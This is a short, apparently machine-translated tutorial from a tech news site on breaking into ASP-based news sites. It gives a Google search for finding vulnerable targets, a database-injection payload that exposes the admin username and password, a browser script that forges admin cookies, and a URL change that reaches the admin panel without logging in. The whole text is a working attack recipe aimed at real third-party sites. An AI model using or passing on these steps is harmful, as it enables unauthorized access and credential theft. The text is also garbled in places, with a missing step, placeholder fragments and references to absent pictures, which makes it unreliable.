Shulou(Shulou.com)06/01 Report--

Search on Google: inurl:news_more.asp?lm2=

Search for the following sites: http://www.*********/news_more.asp?lm2=169

1. Replace "/ news_more.asp?lm2=169" with "/ admin/admin_news_pl_view.asp?id=1"

two。 Paste the |'+ dfirst ("[user]", "[admin]") + chr (124) + dfirst ("[pass]", "[admin]") and username=' into the box below, and save the changes.

3.

Alert ([xss_clean] = "adminuser=" + escape ("1")); alert ([xss_clean] = "adminpass=" + escape ("2")); copy the code into the browser and enter; (note: fill in figure 1 at red 1 and figure 2 at 2)

Click OK.

Click OK.

5. Change the address http://www.*********/admin/admin_news_pl_view.asp?id=1 to http://www.*********/admin/admin_index.asp enter, and you can enter the background directly without logging in. As in the picture

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.